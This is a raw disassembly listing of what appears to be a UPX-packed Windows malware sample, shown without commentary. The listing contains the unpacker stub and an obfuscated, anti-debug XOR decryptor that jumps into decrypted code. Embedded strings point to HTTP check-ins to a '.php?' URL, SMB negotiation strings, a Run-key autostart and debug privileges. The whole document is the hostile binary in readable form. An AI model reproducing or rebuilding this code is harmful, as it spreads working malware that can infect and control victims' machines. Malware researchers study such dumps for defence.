		dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h
		dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h
		dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h,	415C0376h
		dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch
		dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh
		dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h
		dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h
		dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h
		dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh
		dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h
		dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh
		dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h
		dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh
		dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h
		dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h
		dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h
		dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h
		dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h
		dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh
		dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h
		dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh
		dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h,	0B02B39DFh
		dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh
		dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h,	838506Ah
		dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh
		dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh
		dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh
		dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h
		dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh,	968160C8h
		dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h
		dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh
		dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh
		dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h,	25270055h
		dd 5ACE5903h, 40C520Ah,	9262CF20h, 28AF5D0Ch, 89E2B701h
		dd 21DE53C3h, 948E694Eh
		dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h,	281D146Ch
		dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h,	0CF203BD0h
		dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh,	4804C1FEh
		dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h
		dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch,	0D91B1C8h
		dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h
		dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h
		dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h
		dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h
		dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h,	8BB38163h
		dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h
		dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h,	0E26EE66h
		dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h
		dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h
		dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h
		dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh
		dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh
		dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h
		dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h
		dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah,	0B6413BBBh
		dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h
		dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h
		dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh
		dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh
		dd 1B1FDBEh, 2BEC7317h,	0CC48BC8h, 88BE18Bh, 0B5B236EAh
		dd 4353A302h, 45055C64h, 58363605h, 0A2000049h,	0F1022C02h
		dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh,	0F501018Fh
		dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh
		dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh,	843994FFh
		dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh
		dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h
		dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h,	6E695709h
		dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh,	8EE434h
		dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh
		dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah
		dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h
		dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h
		dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh
		dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h
		dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh,	0BEF6FD47h
		dd 276266Dh, 76742E7Ah,	6F74111Bh, 856E2E70h, 178C2D80h
		dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h
		dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh
		dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h
		dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h,	0F6EDF862h
		dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h
		dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h,	4E4D4C4Bh
		dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h,	74746823h
		dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h
		dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h
		dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh
		dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h
		dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch
		dd 46302C06h, 7889934h,	0EBEDE247h, 0E8342FF7h,	7EDAE80Ah
		dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h
		dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh
		dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh,	0F931C96h
		dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h,	0F19DF3EDh
		dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h
		dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h
		dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h,	0ED6F6D9Fh
		dd 0C850B2h, 57DC1499h,	4E122555h, 0DFECC0A4h, 1291EDDEh
		dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh
		dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh
		dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah
		dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h
		dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h,	5F37F776h
		dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh
		dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh
		dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h,	0BEB78190h
		dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh,	0A95D914h
		dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah
		dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah,	0DB9BAB9Eh
		dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h
		dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh
		dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh,	0BB6F6EDBh
		dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h
		dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h
		dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h,	31204D41h
		dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh,	0B75BB696h
		dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h
		dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h
		dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h
		dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h
		dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h,	5EDEC874h
		dd 901306Ch, 3500398Ch,	0DCC06C23h, 72E1D96h, 32ABDA00h
		dd 889CF20h, 3B57DA20h,	9F4C9383h, 46F20003h, 0C1901E23h
		dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h,	48E088h
		dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh
		dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h
		dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h
		dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h
		dd 6DFF20F6h, 0FF1640h,	0E00DEDEh, 19F1600h, 9BF2602h
		dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h
		dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh,	5D6DCF54h
		dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h
		dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh,	0B10C3919h
		dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h
		dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h
		dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h
		dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh
		dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h
		dd 2FE409CFh, 230EFEFFh
		dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h,	0B801FFEEh
		dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h,	700118D8h
		dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh
		dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h
		dd 0C0A6DB20h, 7250CAh,	39014446h, 3C844FC9h, 123C6B32h
		dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h
		dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h,	0E4FF071Ch
		dd 44655300h, 67756265h, 0FA377669h, 67853518h,	6A6441A7h
		dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h,	0BF6D7075h
		dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h
		dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh
		dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h
		dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h,	284158DBh
		dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h,	48F46897h
		dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h,	9F4B010Ah
		dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah
		dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h,	8EA9EE2Fh
		dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh
		dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh
		dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h
		dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h
		dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h,	909A3233h
		dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h
		dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h
		dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h
		dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h,	7264736Eh
		dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h
		dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h
		dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh
		dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h
		dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h,	6D1B1358h
		dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h
		dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh
		dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 0EC01388Ch
		dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h,	978A5F87h
		dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh,	0A956372h
		dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h
		dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h
		dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h
		dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh
		dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h,	0D9B9E144h
		dd 8D225AC3h, 3A0B6972h, 0BFBDEC97h, 486573C8h,	0C646E61h
		dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h,	0A3449711h
		dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h,	6509530Fh
		dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h
		dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h,	4C0B111Dh
		dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h,	0D5CB080Bh
		dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h,	0E94D8AD8h
		dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h,	78455A62h
		dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h,	87B591Bh
		dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h,	0D160C3FCh
		dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h
		dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h
		dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h,	1AC13F86h
		dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h
		dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh,	6F112C79h
		dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h
		dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh
		dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh
		dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h
		dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h
		dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h,	4166B105h
		dd 9C62834Fh, 424F466h,	0DB616C5Ah, 9B558543h, 370E1141h
		dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h
		dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh
		dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h,	455036AAh
		dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h
		dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh,	0B7334A02h
		dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh
		dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h
		dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h
		dd 48C016h, 81434BE0h, 54C32Fh,	2 dup(0)
		db 90h
		db 0FFh, 2 dup(0)
		align 10h
		pusha
		mov	esi, offset dword_31426000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_31427BD2
; ---------------------------------------------------------------------------
		align 8


loc_31427BC8:				; CODE XREF: UPX1:loc_31427BD9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_31427BCE:				; CODE XREF: UPX1:31427C66j
					; UPX1:31427C7Dj
		add	ebx, ebx
		jnz	short loc_31427BD9


loc_31427BD2:				; CODE XREF: UPX1:31427BC0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BD9:				; CODE XREF: UPX1:31427BD0j
		jb	short loc_31427BC8
		mov	eax, 1


loc_31427BE0:				; CODE XREF: UPX1:31427BEFj
					; UPX1:31427BFAj
		add	ebx, ebx
		jnz	short loc_31427BEB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BEB:				; CODE XREF: UPX1:31427BE2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_31427BE0
		jnz	short loc_31427BFC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427BE0


loc_31427BFC:				; CODE XREF: UPX1:31427BF1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_31427C10
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_31427C82
		mov	ebp, eax


loc_31427C10:				; CODE XREF: UPX1:31427C01j
		add	ebx, ebx
		jnz	short loc_31427C1B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C1B:				; CODE XREF: UPX1:31427C12j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_31427C28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C28:				; CODE XREF: UPX1:31427C1Fj
		adc	ecx, ecx
		jnz	short loc_31427C4C
		inc	ecx


loc_31427C2D:				; CODE XREF: UPX1:31427C3Cj
					; UPX1:31427C47j
		add	ebx, ebx
		jnz	short loc_31427C38
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C38:				; CODE XREF: UPX1:31427C2Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_31427C2D
		jnz	short loc_31427C49
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427C2D


loc_31427C49:				; CODE XREF: UPX1:31427C3Ej
		add	ecx, 2


loc_31427C4C:				; CODE XREF: UPX1:31427C2Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_31427C6C


loc_31427C5D:				; CODE XREF: UPX1:31427C64j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_31427C5D
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------
		align 4


loc_31427C6C:				; CODE XREF: UPX1:31427C5Bj
					; UPX1:31427C79j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_31427C6C
		add	edi, ecx
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------


loc_31427C82:				; CODE XREF: UPX1:31427C0Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 7Eh


loc_31427C8A:				; CODE XREF: UPX1:31427C91j
					; UPX1:31427C96j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_31427C8F:				; CODE XREF: UPX1:31427CB4j
		cmp	al, 1
		ja	short loc_31427C8A
		cmp	byte ptr [edi],	1
		jnz	short loc_31427C8A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_31427C8F
		lea	edi, [esi+5000h]


loc_31427CBC:				; CODE XREF: UPX1:31427CDEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_31427D07
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+708Ch]
		xchg	eax, ebp


loc_31427CD9:				; CODE XREF: UPX1:31427CFFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_31427CBC
		mov	ecx, edi
		jns	short near ptr loc_31427CEA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_31427CEA:				; CODE XREF: UPX1:31427CE2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+7090h]
		or	eax, eax
		jz	short loc_31427D01
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_31427CD9
; ---------------------------------------------------------------------------


loc_31427D01:				; CODE XREF: UPX1:31427CF8j
		call	dword ptr [esi+7094h]


loc_31427D07:				; CODE XREF: UPX1:31427CC0j
		popa
		jmp	loc_31422334
; ---------------------------------------------------------------------------
		align 400h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00012000 (  73728.)
; Section size in file		: 00012000 (  73728.)
; Offset to raw	data for section: 00008000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31428000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 80C4h, 808Ch, 3 dup(0)
		dd 80D1h, 809Ch, 3 dup(0)
		dd 80DEh, 80A4h, 3 dup(0)
		dd 80E9h, 80ACh, 3 dup(0)
		dd 80F4h, 80B4h, 3 dup(0)
		dd 8100h, 80BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C371D3h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
		dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h
		dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h
		dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h
		dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh
		dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h,	64C02BC3h
		dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h
		dd 1E00h, 78h, 75Dh dup(0)
; ---------------------------------------------------------------------------
		pusha
		push	ebp
		mov	ebp, esp
		call	near ptr sub_3142A00E
		call	sub_3142A06B

; =============== S U B	R O U T	I N E =======================================



sub_3142A00E	proc far		; CODE XREF: UPX2:3142A004p

arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 3142A091 SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 3142A14B SIZE 00000024 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		cld
		cld
		cld
		cld
		sub	eax, eax


loc_3142A020:				; CODE XREF: sub_3142A00E+18j
		dec	al
		or	al, al
		jz	short loc_3142A02A
		jnz	short loc_3142A020
		jmp	short loc_3142A091
; ---------------------------------------------------------------------------


loc_3142A02A:				; CODE XREF: sub_3142A00E+16j
		sub	ebx, ebx
		sub	ecx, ecx
		mov	cl, 9Fh


loc_3142A030:				; CODE XREF: sub_3142A00E+23j
		inc	ebx
		loop	loc_3142A030
		call	$+5
		pop	edx
		sub	edx, 0FFFFFFC0h
		mov	edi, 28B0h
		cld
		cld
		cld
		cld
		push	edx


loc_3142A049:				; CODE XREF: sub_3142A00E+49j
		xchg	al, [edx]
		cld
		xor	ax, bx
		mov	[edx], al
		cld
		cld
		inc	edx
		dec	edi
		or	edi, edi
		jnz	short loc_3142A049
		pop	edx
		mov	ebx, [ebp-8]
		mov	fs:0, ebx
		leave
		mov	[esp+arg_10], edx
		popa
		jmp	edx
sub_3142A00E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_3142A06B	proc near		; CODE XREF: UPX2:3142A009p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_3142A06B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+2FE3h], ebx
		test	dword ptr [eax+28A0h], 80000000h
; START	OF FUNCTION CHUNK FOR sub_3142A00E


loc_3142A091:				; CODE XREF: sub_3142A00E+1Aj
		mov	ebx, [esp+4]
		jz	short loc_3142A0C3
		pop	ecx
		mov	[eax+2FE7h], esi
		mov	[eax+2FEBh], edi
		cmp	byte ptr [eax+28A4h], 0E8h
		jnz	short loc_3142A0BA
		add	ebx, [eax+28A5h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_3142A0C2
; ---------------------------------------------------------------------------


loc_3142A0BA:				; CODE XREF: sub_3142A00E+9Dj
		mov	ebx, [eax+28A6h]
		push	dword ptr [ebx]


loc_3142A0C2:				; CODE XREF: sub_3142A00E+AAj
		pop	ebx


loc_3142A0C3:				; CODE XREF: sub_3142A00E+87j
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 1E7Dh
		sub	ebp, 361005h
		mov	edi, [esp+4]
		lea	esi, [ebp+3638B0h]
		mov	ecx, 0
		rep movsb
